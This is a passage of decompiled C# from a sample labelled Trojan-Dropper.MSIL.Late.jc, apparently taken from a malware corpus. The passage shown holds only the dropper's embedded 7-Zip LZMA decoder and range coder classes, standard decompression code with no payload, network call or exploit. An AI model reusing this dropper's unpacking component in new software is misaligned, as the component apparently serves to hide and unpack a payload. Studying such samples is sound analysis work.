|
||||
private uint _pos;
|
||||
private uint _windowSize;
|
||||
private uint _streamPos;
|
||||
private Stream _stream;
|
||||
|
||||
public void Create(uint windowSize)
|
||||
{
|
||||
if ((int) this._windowSize != (int) windowSize)
|
||||
this._buffer = new byte[(IntPtr) windowSize];
|
||||
this._windowSize = windowSize;
|
||||
this._pos = 0U;
|
||||
this._streamPos = 0U;
|
||||
}
|
||||
|
||||
public void Init(Stream stream, bool solid)
|
||||
{
|
||||
this.ReleaseStream();
|
||||
this._stream = stream;
|
||||
if (solid)
|
||||
return;
|
||||
this._streamPos = 0U;
|
||||
this._pos = 0U;
|
||||
}
|
||||
|
||||
public void Init(Stream stream) => this.Init(stream, false);
|
||||
|
||||
public void ReleaseStream()
|
||||
{
|
||||
this.Flush();
|
||||
this._stream = (Stream) null;
|
||||
}
|
||||
|
||||
public void Flush()
|
||||
{
|
||||
uint count = this._pos - this._streamPos;
|
||||
if (count == 0U)
|
||||
return;
|
||||
this._stream.Write(this._buffer, (int) this._streamPos, (int) count);
|
||||
if (this._pos >= this._windowSize)
|
||||
this._pos = 0U;
|
||||
this._streamPos = this._pos;
|
||||
}
|
||||
|
||||
public void CopyBlock(uint distance, uint len)
|
||||
{
|
||||
uint num = (uint) ((int) this._pos - (int) distance - 1);
|
||||
if (num >= this._windowSize)
|
||||
num += this._windowSize;
|
||||
for (; len > 0U; --len)
|
||||
{
|
||||
if (num >= this._windowSize)
|
||||
num = 0U;
|
||||
this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++];
|
||||
if (this._pos >= this._windowSize)
|
||||
this.Flush();
|
||||
}
|
||||
}
|
||||
|
||||
public void PutByte(byte b)
|
||||
{
|
||||
this._buffer[(IntPtr) this._pos++] = b;
|
||||
if (this._pos < this._windowSize)
|
||||
return;
|
||||
this.Flush();
|
||||
}
|
||||
|
||||
public byte GetByte(uint distance)
|
||||
{
|
||||
uint index = (uint) ((int) this._pos - (int) distance - 1);
|
||||
if (index >= this._windowSize)
|
||||
index += this._windowSize;
|
||||
return this._buffer[(IntPtr) index];
|
||||
}
|
||||
}
|
||||
}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZMA.Base
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip.Compression.LZMA
|
||||
{
|
||||
internal abstract class Base
|
||||
{
|
||||
public const uint kNumRepDistances = 4;
|
||||
public const uint kNumStates = 12;
|
||||
public const int kNumPosSlotBits = 6;
|
||||
public const int kDicLogSizeMin = 0;
|
||||
public const int kNumLenToPosStatesBits = 2;
|
||||
public const uint kNumLenToPosStates = 4;
|
||||
public const uint kMatchMinLen = 2;
|
||||
public const int kNumAlignBits = 4;
|
||||
public const uint kAlignTableSize = 16;
|
||||
public const uint kAlignMask = 15;
|
||||
public const uint kStartPosModelIndex = 4;
|
||||
public const uint kEndPosModelIndex = 14;
|
||||
public const uint kNumPosModels = 10;
|
||||
public const uint kNumFullDistances = 128;
|
||||
public const uint kNumLitPosStatesBitsEncodingMax = 4;
|
||||
public const uint kNumLitContextBitsMax = 8;
|
||||
public const int kNumPosStatesBitsMax = 4;
|
||||
public const uint kNumPosStatesMax = 16;
|
||||
public const int kNumPosStatesBitsEncodingMax = 4;
|
||||
public const uint kNumPosStatesEncodingMax = 16;
|
||||
public const int kNumLowLenBits = 3;
|
||||
public const int kNumMidLenBits = 3;
|
||||
public const int kNumHighLenBits = 8;
|
||||
public const uint kNumLowLenSymbols = 8;
|
||||
public const uint kNumMidLenSymbols = 8;
|
||||
public const uint kNumLenSymbols = 272;
|
||||
public const uint kMatchMaxLen = 273;
|
||||
|
||||
public static uint GetLenToPosState(uint len)
|
||||
{
|
||||
len -= 2U;
|
||||
return len < 4U ? len : 3U;
|
||||
}
|
||||
|
||||
public struct State
|
||||
{
|
||||
public uint Index;
|
||||
|
||||
public void Init() => this.Index = 0U;
|
||||
|
||||
public void UpdateChar()
|
||||
{
|
||||
if (this.Index < 4U)
|
||||
this.Index = 0U;
|
||||
else if (this.Index < 10U)
|
||||
this.Index -= 3U;
|
||||
else
|
||||
this.Index -= 6U;
|
||||
}
|
||||
|
||||
public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U;
|
||||
|
||||
public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U;
|
||||
|
||||
public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U;
|
||||
|
||||
public bool IsCharState() => this.Index < 7U;
|
||||
}
|
||||
}
|
||||
}
|
||||
+346
@@ -0,0 +1,346 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZMA.Decoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using SevenZip.Compression.LZ;
|
||||
using SevenZip.Compression.RangeCoder;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZMA
|
||||
{
|
||||
public class Decoder : ICoder, ISetDecoderProperties
|
||||
{
|
||||
private OutWindow m_OutWindow = new OutWindow();
|
||||
private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder();
|
||||
private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)];
|
||||
private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)];
|
||||
private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)];
|
||||
private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)];
|
||||
private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4);
|
||||
private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder();
|
||||
private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder();
|
||||
private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder();
|
||||
private uint m_DictionarySize;
|
||||
private uint m_DictionarySizeCheck;
|
||||
private uint m_PosStateMask;
|
||||
|
||||
public Decoder()
|
||||
{
|
||||
this.m_DictionarySize = uint.MaxValue;
|
||||
for (int index = 0; index < 4; ++index)
|
||||
this.m_PosSlotDecoder[index] = new BitTreeDecoder(6);
|
||||
}
|
||||
|
||||
private void SetDictionarySize(uint dictionarySize)
|
||||
{
|
||||
if ((int) this.m_DictionarySize == (int) dictionarySize)
|
||||
return;
|
||||
this.m_DictionarySize = dictionarySize;
|
||||
this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U);
|
||||
this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U));
|
||||
}
|
||||
|
||||
private void SetLiteralProperties(int lp, int lc)
|
||||
{
|
||||
if (lp > 8)
|
||||
throw new InvalidParamException();
|
||||
if (lc > 8)
|
||||
throw new InvalidParamException();
|
||||
this.m_LiteralDecoder.Create(lp, lc);
|
||||
}
|
||||
|
||||
private void SetPosBitsProperties(int pb)
|
||||
{
|
||||
if (pb > 4)
|
||||
throw new InvalidParamException();
|
||||
uint numPosStates = (uint) (1 << pb);
|
||||
this.m_LenDecoder.Create(numPosStates);
|
||||
this.m_RepLenDecoder.Create(numPosStates);
|
||||
this.m_PosStateMask = numPosStates - 1U;
|
||||
}
|
||||
|
||||
private void Init(Stream inStream, Stream outStream)
|
||||
{
|
||||
this.m_RangeDecoder.Init(inStream);
|
||||
this.m_OutWindow.Init(outStream);
|
||||
for (uint index1 = 0; index1 < 12U; ++index1)
|
||||
{
|
||||
for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2)
|
||||
{
|
||||
uint index3 = (index1 << 4) + index2;
|
||||
this.m_IsMatchDecoders[(IntPtr) index3].Init();
|
||||
this.m_IsRep0LongDecoders[(IntPtr) index3].Init();
|
||||
}
|
||||
this.m_IsRepDecoders[(IntPtr) index1].Init();
|
||||
this.m_IsRepG0Decoders[(IntPtr) index1].Init();
|
||||
this.m_IsRepG1Decoders[(IntPtr) index1].Init();
|
||||
this.m_IsRepG2Decoders[(IntPtr) index1].Init();
|
||||
}
|
||||
this.m_LiteralDecoder.Init();
|
||||
for (uint index = 0; index < 4U; ++index)
|
||||
this.m_PosSlotDecoder[(IntPtr) index].Init();
|
||||
for (uint index = 0; index < 114U; ++index)
|
||||
this.m_PosDecoders[(IntPtr) index].Init();
|
||||
this.m_LenDecoder.Init();
|
||||
this.m_RepLenDecoder.Init();
|
||||
this.m_PosAlignDecoder.Init();
|
||||
}
|
||||
|
||||
public void Code(
|
||||
Stream inStream,
|
||||
Stream outStream,
|
||||
long inSize,
|
||||
long outSize,
|
||||
ICodeProgress progress)
|
||||
{
|
||||
this.Init(inStream, outStream);
|
||||
Base.State state = new Base.State();
|
||||
state.Init();
|
||||
uint distance = 0;
|
||||
uint num1 = 0;
|
||||
uint num2 = 0;
|
||||
uint num3 = 0;
|
||||
ulong pos = 0;
|
||||
ulong num4 = (ulong) outSize;
|
||||
if (pos < num4)
|
||||
{
|
||||
if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U)
|
||||
throw new DataErrorException();
|
||||
state.UpdateChar();
|
||||
this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0));
|
||||
++pos;
|
||||
}
|
||||
while (pos < num4)
|
||||
{
|
||||
uint posState = (uint) pos & this.m_PosStateMask;
|
||||
if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
byte prevByte = this.m_OutWindow.GetByte(0U);
|
||||
this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance)));
|
||||
state.UpdateChar();
|
||||
++pos;
|
||||
}
|
||||
else
|
||||
{
|
||||
uint len;
|
||||
if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U)
|
||||
{
|
||||
if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
state.UpdateShortRep();
|
||||
this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance));
|
||||
++pos;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint num5;
|
||||
if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
num5 = num1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
num5 = num2;
|
||||
}
|
||||
else
|
||||
{
|
||||
num5 = num3;
|
||||
num3 = num2;
|
||||
}
|
||||
num2 = num1;
|
||||
}
|
||||
num1 = distance;
|
||||
distance = num5;
|
||||
}
|
||||
len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U;
|
||||
state.UpdateRep();
|
||||
}
|
||||
else
|
||||
{
|
||||
num3 = num2;
|
||||
num2 = num1;
|
||||
num1 = distance;
|
||||
len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState);
|
||||
state.UpdateMatch();
|
||||
uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder);
|
||||
if (num6 >= 4U)
|
||||
{
|
||||
int NumBitLevels = (int) (num6 >> 1) - 1;
|
||||
uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels);
|
||||
distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels);
|
||||
}
|
||||
else
|
||||
distance = num6;
|
||||
}
|
||||
if ((ulong) distance >= pos || distance >= this.m_DictionarySizeCheck)
|
||||
{
|
||||
if (distance != uint.MaxValue)
|
||||
throw new DataErrorException();
|
||||
break;
|
||||
}
|
||||
this.m_OutWindow.CopyBlock(distance, len);
|
||||
pos += (ulong) len;
|
||||
}
|
||||
}
|
||||
this.m_OutWindow.Flush();
|
||||
this.m_OutWindow.ReleaseStream();
|
||||
this.m_RangeDecoder.ReleaseStream();
|
||||
}
|
||||
|
||||
public void SetDecoderProperties(byte[] properties)
|
||||
{
|
||||
if (properties.Length < 5)
|
||||
throw new InvalidParamException();
|
||||
int lc = (int) properties[0] % 9;
|
||||
int num = (int) properties[0] / 9;
|
||||
int lp = num % 5;
|
||||
int pb = num / 5;
|
||||
if (pb > 4)
|
||||
throw new InvalidParamException();
|
||||
uint dictionarySize = 0;
|
||||
for (int index = 0; index < 4; ++index)
|
||||
dictionarySize += (uint) properties[1 + index] << index * 8;
|
||||
this.SetDictionarySize(dictionarySize);
|
||||
this.SetLiteralProperties(lp, lc);
|
||||
this.SetPosBitsProperties(pb);
|
||||
}
|
||||
|
||||
private class LenDecoder
|
||||
{
|
||||
private BitDecoder m_Choice = new BitDecoder();
|
||||
private BitDecoder m_Choice2 = new BitDecoder();
|
||||
private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)];
|
||||
private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)];
|
||||
private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8);
|
||||
private uint m_NumPosStates;
|
||||
|
||||
public void Create(uint numPosStates)
|
||||
{
|
||||
for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1)
|
||||
{
|
||||
this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3);
|
||||
this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3);
|
||||
}
|
||||
this.m_NumPosStates = numPosStates;
|
||||
}
|
||||
|
||||
public void Init()
|
||||
{
|
||||
this.m_Choice.Init();
|
||||
for (uint index = 0; index < this.m_NumPosStates; ++index)
|
||||
{
|
||||
this.m_LowCoder[(IntPtr) index].Init();
|
||||
this.m_MidCoder[(IntPtr) index].Init();
|
||||
}
|
||||
this.m_Choice2.Init();
|
||||
this.m_HighCoder.Init();
|
||||
}
|
||||
|
||||
public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState)
|
||||
{
|
||||
if (this.m_Choice.Decode(rangeDecoder) == 0U)
|
||||
return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder);
|
||||
uint num = 8;
|
||||
return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder);
|
||||
}
|
||||
}
|
||||
|
||||
private class LiteralDecoder
|
||||
{
|
||||
private Decoder.LiteralDecoder.Decoder2[] m_Coders;
|
||||
private int m_NumPrevBits;
|
||||
private int m_NumPosBits;
|
||||
private uint m_PosMask;
|
||||
|
||||
public void Create(int numPosBits, int numPrevBits)
|
||||
{
|
||||
if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits)
|
||||
return;
|
||||
this.m_NumPosBits = numPosBits;
|
||||
this.m_PosMask = (uint) ((1 << numPosBits) - 1);
|
||||
this.m_NumPrevBits = numPrevBits;
|
||||
uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits);
|
||||
this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length];
|
||||
for (uint index = 0; index < length; ++index)
|
||||
this.m_Coders[(IntPtr) index].Create();
|
||||
}
|
||||
|
||||
public void Init()
|
||||
{
|
||||
uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits);
|
||||
for (uint index = 0; index < num; ++index)
|
||||
this.m_Coders[(IntPtr) index].Init();
|
||||
}
|
||||
|
||||
private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits));
|
||||
|
||||
public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder);
|
||||
|
||||
public byte DecodeWithMatchByte(
|
||||
SevenZip.Compression.RangeCoder.Decoder rangeDecoder,
|
||||
uint pos,
|
||||
byte prevByte,
|
||||
byte matchByte)
|
||||
{
|
||||
return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte);
|
||||
}
|
||||
|
||||
private struct Decoder2
|
||||
{
|
||||
private BitDecoder[] m_Decoders;
|
||||
|
||||
public void Create() => this.m_Decoders = new BitDecoder[768];
|
||||
|
||||
public void Init()
|
||||
{
|
||||
for (int index = 0; index < 768; ++index)
|
||||
this.m_Decoders[index].Init();
|
||||
}
|
||||
|
||||
public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder)
|
||||
{
|
||||
uint index = 1;
|
||||
do
|
||||
{
|
||||
index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder);
|
||||
}
|
||||
while (index < 256U);
|
||||
return (byte) index;
|
||||
}
|
||||
|
||||
public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte)
|
||||
{
|
||||
uint index = 1;
|
||||
do
|
||||
{
|
||||
uint num1 = (uint) ((int) matchByte >> 7 & 1);
|
||||
matchByte <<= 1;
|
||||
uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder);
|
||||
index = index << 1 | num2;
|
||||
if ((int) num1 != (int) num2)
|
||||
{
|
||||
while (index < 256U)
|
||||
index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder);
|
||||
break;
|
||||
}
|
||||
}
|
||||
while (index < 256U);
|
||||
return (byte) index;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.RangeCoder.BitDecoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip.Compression.RangeCoder
|
||||
{
|
||||
internal struct BitDecoder
|
||||
{
|
||||
public const int kNumBitModelTotalBits = 11;
|
||||
public const uint kBitModelTotal = 2048;
|
||||
private const int kNumMoveBits = 5;
|
||||
private uint Prob;
|
||||
|
||||
public void UpdateModel(int numMoveBits, uint symbol)
|
||||
{
|
||||
if (symbol == 0U)
|
||||
this.Prob += 2048U - this.Prob >> numMoveBits;
|
||||
else
|
||||
this.Prob -= this.Prob >> numMoveBits;
|
||||
}
|
||||
|
||||
public void Init() => this.Prob = 1024U;
|
||||
|
||||
public uint Decode(Decoder rangeDecoder)
|
||||
{
|
||||
uint num = (rangeDecoder.Range >> 11) * this.Prob;
|
||||
if (rangeDecoder.Code < num)
|
||||
{
|
||||
rangeDecoder.Range = num;
|
||||
this.Prob += 2048U - this.Prob >> 5;
|
||||
if (rangeDecoder.Range < 16777216U)
|
||||
{
|
||||
rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
|
||||
rangeDecoder.Range <<= 8;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
rangeDecoder.Range -= num;
|
||||
rangeDecoder.Code -= num;
|
||||
this.Prob -= this.Prob >> 5;
|
||||
if (rangeDecoder.Range < 16777216U)
|
||||
{
|
||||
rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
|
||||
rangeDecoder.Range <<= 8;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip.Compression.RangeCoder
|
||||
{
|
||||
internal struct BitTreeDecoder
|
||||
{
|
||||
private BitDecoder[] Models;
|
||||
private int NumBitLevels;
|
||||
|
||||
public BitTreeDecoder(int numBitLevels)
|
||||
{
|
||||
this.NumBitLevels = numBitLevels;
|
||||
this.Models = new BitDecoder[1 << numBitLevels];
|
||||
}
|
||||
|
||||
public void Init()
|
||||
{
|
||||
for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index)
|
||||
this.Models[(IntPtr) index].Init();
|
||||
}
|
||||
|
||||
public uint Decode(Decoder rangeDecoder)
|
||||
{
|
||||
uint index = 1;
|
||||
for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels)
|
||||
index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder);
|
||||
return index - (uint) (1 << this.NumBitLevels);
|
||||
}
|
||||
|
||||
public uint ReverseDecode(Decoder rangeDecoder)
|
||||
{
|
||||
uint index1 = 1;
|
||||
uint num1 = 0;
|
||||
for (int index2 = 0; index2 < this.NumBitLevels; ++index2)
|
||||
{
|
||||
uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder);
|
||||
index1 = (index1 << 1) + num2;
|
||||
num1 |= num2 << index2;
|
||||
}
|
||||
return num1;
|
||||
}
|
||||
|
||||
public static uint ReverseDecode(
|
||||
BitDecoder[] Models,
|
||||
uint startIndex,
|
||||
Decoder rangeDecoder,
|
||||
int NumBitLevels)
|
||||
{
|
||||
uint num1 = 1;
|
||||
uint num2 = 0;
|
||||
for (int index = 0; index < NumBitLevels; ++index)
|
||||
{
|
||||
uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder);
|
||||
num1 = (num1 << 1) + num3;
|
||||
num2 |= num3 << index;
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+95
@@ -0,0 +1,95 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.RangeCoder.Decoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.RangeCoder
|
||||
{
|
||||
internal class Decoder
|
||||
{
|
||||
public const uint kTopValue = 16777216;
|
||||
public uint Range;
|
||||
public uint Code;
|
||||
public Stream Stream;
|
||||
|
||||
public void Init(Stream stream)
|
||||
{
|
||||
this.Stream = stream;
|
||||
this.Code = 0U;
|
||||
this.Range = uint.MaxValue;
|
||||
for (int index = 0; index < 5; ++index)
|
||||
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
}
|
||||
|
||||
public void ReleaseStream() => this.Stream = (Stream) null;
|
||||
|
||||
public void CloseStream() => this.Stream.Close();
|
||||
|
||||
public void Normalize()
|
||||
{
|
||||
for (; this.Range < 16777216U; this.Range <<= 8)
|
||||
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
}
|
||||
|
||||
public void Normalize2()
|
||||
{
|
||||
if (this.Range >= 16777216U)
|
||||
return;
|
||||
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
this.Range <<= 8;
|
||||
}
|
||||
|
||||
public uint GetThreshold(uint total) => this.Code / (this.Range /= total);
|
||||
|
||||
public void Decode(uint start, uint size, uint total)
|
||||
{
|
||||
this.Code -= start * this.Range;
|
||||
this.Range *= size;
|
||||
this.Normalize();
|
||||
}
|
||||
|
||||
public uint DecodeDirectBits(int numTotalBits)
|
||||
{
|
||||
uint range = this.Range;
|
||||
uint num1 = this.Code;
|
||||
uint num2 = 0;
|
||||
for (int index = numTotalBits; index > 0; --index)
|
||||
{
|
||||
range >>= 1;
|
||||
uint num3 = num1 - range >> 31;
|
||||
num1 -= range & num3 - 1U;
|
||||
num2 = (uint) ((int) num2 << 1 | 1 - (int) num3);
|
||||
if (range < 16777216U)
|
||||
{
|
||||
num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
range <<= 8;
|
||||
}
|
||||
}
|
||||
this.Range = range;
|
||||
this.Code = num1;
|
||||
return num2;
|
||||
}
|
||||
|
||||
public uint DecodeBit(uint size0, int numTotalBits)
|
||||
{
|
||||
uint num1 = (this.Range >> numTotalBits) * size0;
|
||||
uint num2;
|
||||
if (this.Code < num1)
|
||||
{
|
||||
num2 = 0U;
|
||||
this.Range = num1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num2 = 1U;
|
||||
this.Code -= num1;
|
||||
this.Range -= num1;
|
||||
}
|
||||
this.Normalize();
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.DataErrorException
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
internal class DataErrorException : ApplicationException
|
||||
{
|
||||
public DataErrorException()
|
||||
: base("Data Error")
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ICodeProgress
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ICodeProgress
|
||||
{
|
||||
void SetProgress(long inSize, long outSize);
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ICoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ICoder
|
||||
{
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ISetCoderProperties
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ISetCoderProperties
|
||||
{
|
||||
